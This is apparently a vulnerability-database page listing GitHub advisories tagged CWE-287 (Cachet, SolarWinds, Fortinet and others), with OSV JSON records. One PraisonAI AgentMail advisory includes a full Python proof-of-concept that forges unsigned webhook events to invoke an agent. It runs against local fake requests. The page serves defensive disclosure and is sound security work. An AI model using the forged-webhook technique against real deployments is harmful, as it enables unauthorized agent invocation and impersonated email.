CWE-287
DiscouragedImproper Authentication
Abstraction: Class · Status: Draft
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
6877 vulnerabilities reference this CWE, most recent first.
GHSA-79MG-4W23-4FQC
Vulnerability from github – Published: 2021-08-30 16:12 – Updated: 2021-08-27 12:54Impact
In Cachet versions through 2.3.18, there is a SQL injection which is in the SearchableTrait#scopeSearch(). Attackers without authentication can utilize this vulnerability to exfiltrate sensitive data from the database such as administrator's password and session.
Patches
The original repository of https://github.com/CachetHQ/Cachet is not active, the stable version 2.3.18 and it's developing 2.4 branch is affected.
Update to version 2.5 or later in the https://github.com/fiveai/Cachet fork to fix this vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "cachethq/cachet"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.3.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-39165"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-26T20:21:00Z",
"nvd_published_at": "2021-08-26T21:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nIn Cachet versions through 2.3.18, there is a SQL injection which is in the `SearchableTrait#scopeSearch()`. Attackers without authentication can utilize this vulnerability to exfiltrate sensitive data from the database such as administrator\u0027s password and session.\n\n### Patches\n\nThe original repository of [https://github.com/CachetHQ/Cachet](https://github.com/CachetHQ/Cachet) is not active, the stable version 2.3.18 and it\u0027s developing 2.4 branch is affected. \n\nUpdate to version 2.5 or later in the [https://github.com/fiveai/Cachet fork](https://github.com/fiveai/Cachet) to fix this vulnerability.",
"id": "GHSA-79mg-4w23-4fqc",
"modified": "2021-08-27T12:54:52Z",
"published": "2021-08-30T16:12:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fiveai/Cachet/security/advisories/GHSA-79mg-4w23-4fqc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39165"
},
{
"type": "WEB",
"url": "https://github.com/fiveai/Cachet/commit/27bca8280419966ba80c6fa283d985ddffa84bb6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Unauthenticated SQL Injection in Cachet"
}
GHSA-79PV-HV79-F9HF
Vulnerability from github – Published: 2022-05-24 17:22 – Updated: 2022-05-24 17:22MobileIron Core and Connector before 10.3.0.4, 10.4.x before 10.4.0.4, 10.5.x before 10.5.1.1, 10.5.2.x before 10.5.2.1, and 10.6.x before 10.6.0.1 allow remote attackers to bypass authentication mechanisms via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2020-15506"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-07-07T02:15:00Z",
"severity": "HIGH"
},
"details": "MobileIron Core and Connector before 10.3.0.4, 10.4.x before 10.4.0.4, 10.5.x before 10.5.1.1, 10.5.2.x before 10.5.2.1, and 10.6.x before 10.6.0.1 allow remote attackers to bypass authentication mechanisms via unspecified vectors.",
"id": "GHSA-79pv-hv79-f9hf",
"modified": "2022-05-24T17:22:30Z",
"published": "2022-05-24T17:22:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15506"
},
{
"type": "WEB",
"url": "https://www.mobileiron.com/en/blog/mobileiron-security-updates-available"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-79RC-8X3P-4WJW
Vulnerability from github – Published: 2026-08-31 15:34 – Updated: 2026-08-31 15:34A vulnerability was identified in Tenda AC1206 15.03.06.23. This issue affects the function R7WebsSecurityHandler of the file /goform/ate of the component Web UI. The manipulation leads to missing authentication. The attack can be initiated remotely. The exploit is publicly available and might be used.
{
"affected": [],
"aliases": [
"CVE-2026-82694"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-31T13:18:29Z",
"severity": "CRITICAL"
},
"details": "A vulnerability was identified in Tenda AC1206 15.03.06.23. This issue affects the function R7WebsSecurityHandler of the file /goform/ate of the component Web UI. The manipulation leads to missing authentication. The attack can be initiated remotely. The exploit is publicly available and might be used.",
"id": "GHSA-79rc-8x3p-4wjw",
"modified": "2026-08-31T15:34:44Z",
"published": "2026-08-31T15:34:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82694"
},
{
"type": "WEB",
"url": "https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/TENDA-AC1206-ATE-DEFAULT-UNAUTH-002-vulndb.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-82694"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/894241"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/397182"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/397182/cti"
},
{
"type": "WEB",
"url": "https://www.tenda.com.cn"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7C6Q-7J7V-99C4
Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-05-24 19:12Adobe Experience Manager Cloud Service offering, as well as versions 6.5.8.0 (and below) is affected by an Improper Authorization vulnerability allowing users to create nodes under a location. An unauthenticated attacker could leverage this vulnerability to cause an application denial-of-service. Exploitation of this issue does not require user interaction.
{
"affected": [],
"aliases": [
"CVE-2021-28626"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-24T18:15:00Z",
"severity": "LOW"
},
"details": "Adobe Experience Manager Cloud Service offering, as well as versions 6.5.8.0 (and below) is affected by an Improper Authorization vulnerability allowing users to create nodes under a location. An unauthenticated attacker could leverage this vulnerability to cause an application denial-of-service. Exploitation of this issue does not require user interaction.",
"id": "GHSA-7c6q-7j7v-99c4",
"modified": "2022-05-24T19:12:01Z",
"published": "2022-05-24T19:12:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28626"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/experience-manager/apsb21-39.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7C78-24GM-9RQF
Vulnerability from github – Published: 2021-12-10 00:00 – Updated: 2021-12-11 00:00A improper authentication in Fortinet FortiAuthenticator version 6.4.0 allows user to bypass the second factor of authentication via a RADIUS login portal.
{
"affected": [],
"aliases": [
"CVE-2021-43068"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-09T10:15:00Z",
"severity": "HIGH"
},
"details": "A improper authentication in Fortinet FortiAuthenticator version 6.4.0 allows user to bypass the second factor of authentication via a RADIUS login portal.",
"id": "GHSA-7c78-24gm-9rqf",
"modified": "2021-12-11T00:00:49Z",
"published": "2021-12-10T00:00:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43068"
},
{
"type": "WEB",
"url": "https://fortiguard.com/advisory/FG-IR-21-212"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7C8F-5R89-MJGX
Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2025-10-22 00:32The SolarWinds Orion API is vulnerable to an authentication bypass that could allow a remote attacker to execute API commands. This vulnerability could allow a remote attacker to bypass authentication and execute API commands which may result in a compromise of the SolarWinds instance. SolarWinds Orion Platform versions 2019.4 HF 5, 2020.2 with no hotfix installed, and 2020.2 HF 1 are affected.
{
"affected": [],
"aliases": [
"CVE-2020-10148"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-288",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-29T22:15:00Z",
"severity": "CRITICAL"
},
"details": "The SolarWinds Orion API is vulnerable to an authentication bypass that could allow a remote attacker to execute API commands. This vulnerability could allow a remote attacker to bypass authentication and execute API commands which may result in a compromise of the SolarWinds instance. SolarWinds Orion Platform versions 2019.4 HF 5, 2020.2 with no hotfix installed, and 2020.2 HF 1 are affected.",
"id": "GHSA-7c8f-5r89-mjgx",
"modified": "2025-10-22T00:32:01Z",
"published": "2022-05-24T17:37:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-10148"
},
{
"type": "WEB",
"url": "https://kb.cert.org/vuls/id/843464"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-10148"
},
{
"type": "WEB",
"url": "https://www.kb.cert.org/vuls/id/843464"
},
{
"type": "WEB",
"url": "https://www.solarwinds.com/securityadvisory"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7C8F-C5JX-87W6
Vulnerability from github – Published: 2022-05-04 00:00 – Updated: 2024-04-03 23:53An issue was discovered in Logitech Options. The OAuth 2.0 state parameter was not properly validated. This leaves applications vulnerable to CSRF attacks during authentication and authorization operations.
{
"affected": [],
"aliases": [
"CVE-2022-0916"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-03T14:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Logitech Options. The OAuth 2.0 state parameter was not properly validated. This leaves applications vulnerable to CSRF attacks during authentication and authorization operations.",
"id": "GHSA-7c8f-c5jx-87w6",
"modified": "2024-04-03T23:53:26Z",
"published": "2022-05-04T00:00:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0916"
},
{
"type": "WEB",
"url": "https://support.logi.com/hc/en-us/articles/360025297893"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7C92-X8VG-4258
Vulnerability from github – Published: 2026-10-07 14:07 – Updated: 2026-10-07 14:07AgentMail webhook mode accepts forged unsigned message.received events and invokes agents
Summary
praisonai AgentMail webhook mode exposes a public aiohttp webhook endpoint that accepts caller-controlled message.received JSON without verifying AgentMail's Svix webhook signatures, then dispatches the forged message into the configured agent session and reply path.
Technical Details
The affected boundary is webhook authenticity. AgentMail's webhook verification documentation says AgentMail delivers webhooks through Svix and includes svix-id, svix-timestamp, and svix-signature headers. Receivers are expected to verify the raw request body with the endpoint signing secret, commonly stored as AGENTMAIL_WEBHOOK_SECRET, before trusting the event body. AgentMail's documented verified payload examples route on event_type; the forged payload below intentionally uses PraisonAI's accepted handler shape, type plus data, because that is the shape _handle_email_webhook() accepts before any signature verification.
src/praisonai/praisonai/bots/agentmail.py exposes webhook mode through AgentMailBot(mode=...) or a BotConfig whose mode is webhook. In _start_webhook_mode(), PraisonAI registers POST {webhook_path} and binds the aiohttp site to 0.0.0.0 on the configured webhook port. When config.webhook_url is set, the same method calls client.webhooks.create(url=..., event_types=["message.received"], inbox_ids=...), but it does not store or use the returned webhook secret.
The handler then trusts the parsed JSON body. _handle_email_webhook() calls await request.json(), reads body.get("type", ""), and if the value is message.received, schedules _process_webhook_payload(body) and returns 200 OK. It does not read the raw body, inspect request headers, verify svix-id, verify svix-timestamp, verify svix-signature, or check any webhook secret before scheduling the event.
_process_webhook_payload() builds a BotMessage from attacker-controlled JSON fields: data.message_id, data.from/data.from_, data.subject, data.extracted_text/data.text, data.thread_id, and data.in_reply_to. It then calls _handle_message(message). _handle_message() fires message hooks, calls self._session.chat(self._agent, sender_id, body, ...), and, when the agent returns a response, attempts to reply to the attacker-controlled sender address through AgentMail.
This report is scoped to AgentMail webhook mode. It does not claim that the default polling path or WebSocket path is affected. The WebSocket path receives typed MessageReceivedEvent instances from the AgentMail SDK connection; the webhook path exposes a public HTTP receiver and therefore needs an independent signature check before parsing/trusting the event.
PoV
the PoV calls the webhook handler directly with fake request objects. It does not bind a port, contact AgentMail, send email, or use live credentials.
The forged JSON uses PraisonAI's accepted webhook-handler shape: a top-level type field with value message.received and a nested data object. This is not presented as the canonical signed AgentMail payload shape; AgentMail's verification documentation shows verified messages using event_type after Svix verification. The issue is that PraisonAI accepts the unauthenticated type/data body and dispatches it before verifying that the request came from AgentMail.
Essential PoV excerpt:
class FakeRequest:
def __init__(self, body, headers=None, json_error=False):
self._body = body
self.headers = headers or {}
self._json_error = json_error
async def json(self):
if self._json_error:
raise ValueError("invalid json")
return self._body
bot = AgentMailBot(
token="am_local_test",
agent=object(),
inbox_id="assistant@example.test",
config=BotConfig(mode="webhook", webhook_path="/webhook"),
)
bot._inbox_id = "assistant@example.test"
bot._email_address = "assistant@example.test"
bot._config = {}
bot._session = RecordingSession()
payload = {
"type": "message.received",
"data": {
"message_id": "msg-forged-invalid-svix",
"from": "attacker@example.test",
"subject": "Forged invalid signature",
"extracted_text": "invalid signature forged body",
},
}
headers = {
"svix-id": "msg_bad",
"svix-timestamp": "1",
"svix-signature": "v1,definitely-invalid",
}
response = await bot._handle_email_webhook(FakeRequest(payload, headers=headers))
await asyncio.sleep(0)
Expected vulnerable behavior: the response status is 200, the invalid Svix signature is ignored, and the fake session records one agent call with sender_id set to attacker@example.test and body set to invalid signature forged body.
PoC
Current head tested:
846568c7a5d8ce9e71e56e4c213f027c04909753
Run against a local checkout of current head:
python3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI --label current-head-846568c
Decisive current-head output:
{
"label": "current-head-846568c",
"vulnerable": true,
"cases": {
"forged_unsigned_message": {
"http_status": 200,
"session_delta": 1,
"send_delta": 1
},
"forged_invalid_svix_signature": {
"http_status": 200,
"session_delta": 1,
"send_delta": 1
},
"invalid_json_control": {
"http_status": 400,
"session_delta": 0
},
"non_message_event_control": {
"http_status": 200,
"session_delta": 0
},
"duplicate_message_control": {
"http_status": 200,
"session_delta": 0
}
}
}
Run against the latest release tag observed during testing:
python3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI-v4.6.62 --label v4.6.62-2a855c47
Decisive v4.6.62 output:
{
"label": "v4.6.62-2a855c47",
"vulnerable": true,
"cases": {
"forged_unsigned_message": {
"http_status": 200,
"session_delta": 1,
"send_delta": 1
},
"forged_invalid_svix_signature": {
"http_status": 200,
"session_delta": 1,
"send_delta": 1
},
"invalid_json_control": {
"http_status": 400,
"session_delta": 0
},
"non_message_event_control": {
"http_status": 200,
"session_delta": 0
},
"duplicate_message_control": {
"http_status": 200,
"session_delta": 0
}
}
}
Interpretation: forged unsigned webhook JSON and forged webhook JSON with invalid Svix headers both return 200 and reach the agent session once. Invalid JSON returns 400 without an agent call, non-message.received events are ignored, and repeated message_id values are deduplicated. The controls prove the handler is executing the intended branch and that the issue is specifically missing webhook authenticity verification before the agent dispatch branch.
Impact
If a PraisonAI operator exposes AgentMail webhook mode, any network caller who can reach the webhook URL can spoof incoming AgentMail email events and invoke the configured PraisonAI agent as an arbitrary sender. The attacker controls the message id, sender address, subject, body text, and thread metadata consumed by the bot.
The concrete boundary crossed is unauthenticated remote agent invocation through forged AgentMail webhook events. Downstream impact depends on the deployed agent and tools. PraisonAI bot defaults can include model calls and safe auto-approved tools, so this can cause unauthorized model/API usage, forged workflow input, replies under the AgentMail inbox identity, and confidentiality or integrity impact when the configured agent has access to sensitive context or tools.
This report does not claim arbitrary code execution by default, compromise of AgentMail itself, or bypass of the default poll mode.
Suggested severity: High. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (8.6). Suggested CWEs: CWE-347 Improper Verification of Cryptographic Signature, CWE-306 Missing Authentication for Critical Function, and CWE-287 Improper Authentication.
Suggested Fix
Fail closed for AgentMail webhook mode unless a webhook signing secret is configured. Store the AgentMail webhook secret returned by client.webhooks.create(...), or require an explicit agentmail_webhook_secret/AGENTMAIL_WEBHOOK_SECRET configuration value for existing webhook endpoints.
Verify the raw request body with the official Svix verifier before JSON parsing is trusted. Reject missing, malformed, stale, or invalid svix-id, svix-timestamp, and svix-signature headers before scheduling _process_webhook_payload(). Do not use await request.json() as the verification input; signature verification needs the exact raw body bytes.
Suggested regression tests:
- webhook mode without a configured signing secret refuses startup or returns
401/400formessage.received; - missing Svix headers do not call
_process_webhook_payload(); - invalid Svix signature does not call
_process_webhook_payload(); - stale timestamp does not call
_process_webhook_payload(); - valid Svix signature for the raw body reaches
_process_webhook_payload(); - duplicate
message_idbehavior remains intact after verification succeeds.
Affected Package/Versions
Affected package: pypi:praisonai.
Latest PyPI version observed during testing: 4.6.62. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected. Latest release tag v4.6.62 at commit 2a855c470077c7d2e2479a575f7ef7f548d51c33 is affected.
Sampled tag sweep:
v4.4.12 agentmail_absent
v4.5.16 agentmail_absent
v4.5.128 present_unsigned_webhook
v4.6.33 present_unsigned_webhook
v4.6.58 present_unsigned_webhook
v4.6.59 present_unsigned_webhook
v4.6.60 present_unsigned_webhook
v4.6.62 present_unsigned_webhook
current present_unsigned_webhook
Conservative suggested affected range: AgentMail webhook-bearing praisonai releases at least >= 4.5.128, <= 4.6.62, plus current head. The component was absent in sampled tags v4.4.12 and v4.5.16. No fixed version or fix commit was observed.
Advisory History
Visible PraisonAI advisories were checked for the same root cause, affected entrypoint, and exploit preconditions. No exact duplicate was found for AgentMail webhook mode accepting unsigned or invalid-Svix message.received events and dispatching them into AgentMailBot._handle_message().
Nearby advisories are distinct:
GHSA-fc26-m9pf-v56q, "PraisonAI LinearBot processes unsigned webhooks when LINEAR_WEBHOOK_SECRET is missing", covers the Linear integration and a fail-open missing-secret condition. This report covers AgentMail webhook mode, a different integration, different handler, different provider signature scheme, and no visible webhook-secret validation path.GHSA-x92v-rpx6-p6cw, "Webhook signature verification skipped (fail-open) when secret unset, allowing forged inbound webhooks (WhatsApp & Linear bots)", covers WhatsApp/Linear webhook verification fail-open behavior. This report covers AgentMail and Svix-backed AgentMail webhook delivery.GHSA-qvpf-j64c-jmhr, "PraisonAI Slack app_mention bypasses configured user/channel authorization", covers Slack event authorization, not AgentMail webhook authenticity.GHSA-vg22-4gmj-prxw/CVE-2026-47391cover unauthenticated A2Amessage/send, not AgentMail webhooks.GHSA-86qc-r5v2-v6x6covers the call server token gap, not AgentMail webhook delivery.
Public Platform authorization advisories cover Platform RBAC/IDOR classes such as object ownership and workspace authorization. They do not cover AgentMail webhook authenticity or the AgentMail message.received dispatch path.
References
- AgentMail webhook verification documentation: https://www.agentmail.to/docs/webhook-verification
- AgentMail create webhook API reference: https://www.agentmail.to/docs/api-reference/webhooks/create
- PraisonAI LinearBot webhook advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-fc26-m9pf-v56q
- PraisonAI WhatsApp/Linear webhook fail-open advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x92v-rpx6-p6cw
- PraisonAI Slack authorization advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qvpf-j64c-jmhr
- MITRE CWE-347: https://cwe.mitre.org/data/definitions/347.html
- MITRE CWE-306: https://cwe.mitre.org/data/definitions/306.html
- MITRE CWE-287: https://cwe.mitre.org/data/definitions/287.html
Appendix A - Full PoV Script
#!/usr/bin/env python3
"""PoV for PraisonAI AgentMail webhook authenticity.
The script calls the AgentMail webhook handler directly with fake aiohttp
requests. It does not bind a port, contact AgentMail, or send email.
"""
from __future__ import annotations
import argparse
import asyncio
import json
import sys
import types
from pathlib import Path
from typing import Any
class FakeResponse:
def __init__(self, status: int = 200, text: str = "", content_type: str | None = None):
self.status = status
self.text = text
self.content_type = content_type
class FakeRequest:
def __init__(self, body: dict[str, Any] | None, headers: dict[str, str] | None = None, json_error: bool = False):
self._body = body
self.headers = headers or {}
self._json_error = json_error
async def json(self) -> dict[str, Any]:
if self._json_error:
raise ValueError("invalid json")
return self._body or {}
class RecordingSession:
def __init__(self) -> None:
self.calls: list[dict[str, Any]] = []
async def chat(self, agent: object, sender_id: str, body: str, **kwargs: Any) -> str:
self.calls.append(
{
"sender_id": sender_id,
"body": body,
"chat_id": kwargs.get("chat_id"),
"message_id": kwargs.get("message_id"),
"account": kwargs.get("account"),
}
)
return "local agent response"
def install_fake_aiohttp() -> None:
web = types.SimpleNamespace(Response=FakeResponse)
sys.modules["aiohttp"] = types.SimpleNamespace(web=web)
def configure_import_path(repo: Path) -> None:
sys.path.insert(0, str(repo / "src" / "praisonai"))
sys.path.insert(0, str(repo / "src" / "praisonai-agents"))
async def run_case(bot: Any, request: FakeRequest, sleep_ticks: int = 2) -> dict[str, Any]:
before_calls = len(bot._session.calls)
before_sends = len(bot._sent_messages)
response = await bot._handle_email_webhook(request)
for _ in range(sleep_ticks):
await asyncio.sleep(0)
return {
"http_status": response.status,
"session_delta": len(bot._session.calls) - before_calls,
"send_delta": len(bot._sent_messages) - before_sends,
"session_calls": bot._session.calls[before_calls:],
"sent_messages": bot._sent_messages[before_sends:],
}
async def main_async(repo: Path, label: str) -> dict[str, Any]:
install_fake_aiohttp()
configure_import_path(repo)
from praisonai.bots.agentmail import AgentMailBot
from praisonaiagents.bots import BotConfig
bot = AgentMailBot(
token="am_local_test",
agent=object(),
inbox_id="assistant@example.test",
config=BotConfig(mode="webhook", webhook_path="/webhook"),
)
bot._inbox_id = "assistant@example.test"
bot._email_address = "assistant@example.test"
bot._config = {}
bot._session = RecordingSession()
bot._sent_messages = []
async def fake_send_message(**kwargs: Any) -> None:
bot._sent_messages.append(kwargs)
bot.send_message = fake_send_message
invalid_svix_headers = {
"svix-id": "msg_bad",
"svix-timestamp": "1",
"svix-signature": "v1,definitely-invalid",
}
cases: dict[str, Any] = {}
cases["forged_unsigned_message"] = await run_case(
bot,
FakeRequest(
{
"type": "message.received",
"data": {
"message_id": "msg-forged-unsigned",
"from": "attacker@example.test",
"subject": "Forged unsigned message",
"extracted_text": "unsigned forged body",
},
}
),
)
cases["forged_invalid_svix_signature"] = await run_case(
bot,
FakeRequest(
{
"type": "message.received",
"data": {
"message_id": "msg-forged-invalid-svix",
"from": "attacker@example.test",
"subject": "Forged invalid signature",
"extracted_text": "invalid signature forged body",
},
},
headers=invalid_svix_headers,
),
)
cases["invalid_json_control"] = await run_case(bot, FakeRequest(None, json_error=True))
cases["non_message_event_control"] = await run_case(
bot,
FakeRequest(
{
"type": "domain.verified",
"data": {
"message_id": "msg-non-message",
"from": "attacker@example.test",
"extracted_text": "should not be processed",
},
}
),
)
cases["duplicate_message_control"] = await run_case(
bot,
FakeRequest(
{
"type": "message.received",
"data": {
"message_id": "msg-forged-invalid-svix",
"from": "attacker@example.test",
"subject": "Duplicate",
"extracted_text": "duplicate should not create a second call",
},
},
headers=invalid_svix_headers,
),
)
vulnerable = (
cases["forged_unsigned_message"]["http_status"] == 200
and cases["forged_unsigned_message"]["session_delta"] == 1
and cases["forged_invalid_svix_signature"]["http_status"] == 200
and cases["forged_invalid_svix_signature"]["session_delta"] == 1
and cases["invalid_json_control"]["http_status"] == 400
and cases["invalid_json_control"]["session_delta"] == 0
and cases["non_message_event_control"]["session_delta"] == 0
and cases["duplicate_message_control"]["session_delta"] == 0
)
return {
"label": label,
"repo": str(repo),
"vulnerable": vulnerable,
"finding": "AgentMail webhook handler accepts unsigned and invalid-Svix message.received events and dispatches them to the agent session",
"cases": cases,
}
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--repo", type=Path, required=True)
parser.add_argument("--label", default="current-head")
args = parser.parse_args()
result = asyncio.run(main_async(args.repo.resolve(), args.label))
print(json.dumps(result, indent=2, sort_keys=True))
return 0 if result["vulnerable"] else 1
if __name__ == "__main__":
raise SystemExit(main())
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.77"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.78"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61436"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-306",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T14:07:10Z",
"nvd_published_at": "2026-07-15T17:16:52Z",
"severity": "HIGH"
},
"details": "# AgentMail webhook mode accepts forged unsigned message.received events and invokes agents\n\n## Summary\n\n`praisonai` AgentMail webhook mode exposes a public aiohttp webhook endpoint that accepts caller-controlled `message.received` JSON without verifying AgentMail\u0027s Svix webhook signatures, then dispatches the forged message into the configured agent session and reply path.\n\n## Technical Details\n\nThe affected boundary is webhook authenticity. AgentMail\u0027s webhook verification documentation says AgentMail delivers webhooks through Svix and includes `svix-id`, `svix-timestamp`, and `svix-signature` headers. Receivers are expected to verify the raw request body with the endpoint signing secret, commonly stored as `AGENTMAIL_WEBHOOK_SECRET`, before trusting the event body. AgentMail\u0027s documented verified payload examples route on `event_type`; the forged payload below intentionally uses PraisonAI\u0027s accepted handler shape, `type` plus `data`, because that is the shape `_handle_email_webhook()` accepts before any signature verification.\n\n`src/praisonai/praisonai/bots/agentmail.py` exposes webhook mode through `AgentMailBot(mode=...)` or a `BotConfig` whose `mode` is `webhook`. In `_start_webhook_mode()`, PraisonAI registers `POST {webhook_path}` and binds the aiohttp site to `0.0.0.0` on the configured webhook port. When `config.webhook_url` is set, the same method calls `client.webhooks.create(url=..., event_types=[\"message.received\"], inbox_ids=...)`, but it does not store or use the returned webhook secret.\n\nThe handler then trusts the parsed JSON body. `_handle_email_webhook()` calls `await request.json()`, reads `body.get(\"type\", \"\")`, and if the value is `message.received`, schedules `_process_webhook_payload(body)` and returns `200 OK`. It does not read the raw body, inspect request headers, verify `svix-id`, verify `svix-timestamp`, verify `svix-signature`, or check any webhook secret before scheduling the event.\n\n`_process_webhook_payload()` builds a `BotMessage` from attacker-controlled JSON fields: `data.message_id`, `data.from`/`data.from_`, `data.subject`, `data.extracted_text`/`data.text`, `data.thread_id`, and `data.in_reply_to`. It then calls `_handle_message(message)`. `_handle_message()` fires message hooks, calls `self._session.chat(self._agent, sender_id, body, ...)`, and, when the agent returns a response, attempts to reply to the attacker-controlled sender address through AgentMail.\n\nThis report is scoped to AgentMail webhook mode. It does not claim that the default polling path or WebSocket path is affected. The WebSocket path receives typed `MessageReceivedEvent` instances from the AgentMail SDK connection; the webhook path exposes a public HTTP receiver and therefore needs an independent signature check before parsing/trusting the event.\n\n## PoV\n\nthe PoV calls the webhook handler directly with fake request objects. It does not bind a port, contact AgentMail, send email, or use live credentials.\n\nThe forged JSON uses PraisonAI\u0027s accepted webhook-handler shape: a top-level `type` field with value `message.received` and a nested `data` object. This is not presented as the canonical signed AgentMail payload shape; AgentMail\u0027s verification documentation shows verified messages using `event_type` after Svix verification. The issue is that PraisonAI accepts the unauthenticated `type`/`data` body and dispatches it before verifying that the request came from AgentMail.\n\nEssential PoV excerpt:\n\n```python\nclass FakeRequest:\n def __init__(self, body, headers=None, json_error=False):\n self._body = body\n self.headers = headers or {}\n self._json_error = json_error\n\n async def json(self):\n if self._json_error:\n raise ValueError(\"invalid json\")\n return self._body\n\nbot = AgentMailBot(\n token=\"am_local_test\",\n agent=object(),\n inbox_id=\"assistant@example.test\",\n config=BotConfig(mode=\"webhook\", webhook_path=\"/webhook\"),\n)\nbot._inbox_id = \"assistant@example.test\"\nbot._email_address = \"assistant@example.test\"\nbot._config = {}\nbot._session = RecordingSession()\n\npayload = {\n \"type\": \"message.received\",\n \"data\": {\n \"message_id\": \"msg-forged-invalid-svix\",\n \"from\": \"attacker@example.test\",\n \"subject\": \"Forged invalid signature\",\n \"extracted_text\": \"invalid signature forged body\",\n },\n}\nheaders = {\n \"svix-id\": \"msg_bad\",\n \"svix-timestamp\": \"1\",\n \"svix-signature\": \"v1,definitely-invalid\",\n}\n\nresponse = await bot._handle_email_webhook(FakeRequest(payload, headers=headers))\nawait asyncio.sleep(0)\n```\n\nExpected vulnerable behavior: the response status is `200`, the invalid Svix signature is ignored, and the fake session records one agent call with `sender_id` set to `attacker@example.test` and `body` set to `invalid signature forged body`.\n\n## PoC\n\nCurrent head tested:\n\n```text\n846568c7a5d8ce9e71e56e4c213f027c04909753\n```\n\nRun against a local checkout of current head:\n\n```fish\npython3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI --label current-head-846568c\n```\n\nDecisive current-head output:\n\n```json\n{\n \"label\": \"current-head-846568c\",\n \"vulnerable\": true,\n \"cases\": {\n \"forged_unsigned_message\": {\n \"http_status\": 200,\n \"session_delta\": 1,\n \"send_delta\": 1\n },\n \"forged_invalid_svix_signature\": {\n \"http_status\": 200,\n \"session_delta\": 1,\n \"send_delta\": 1\n },\n 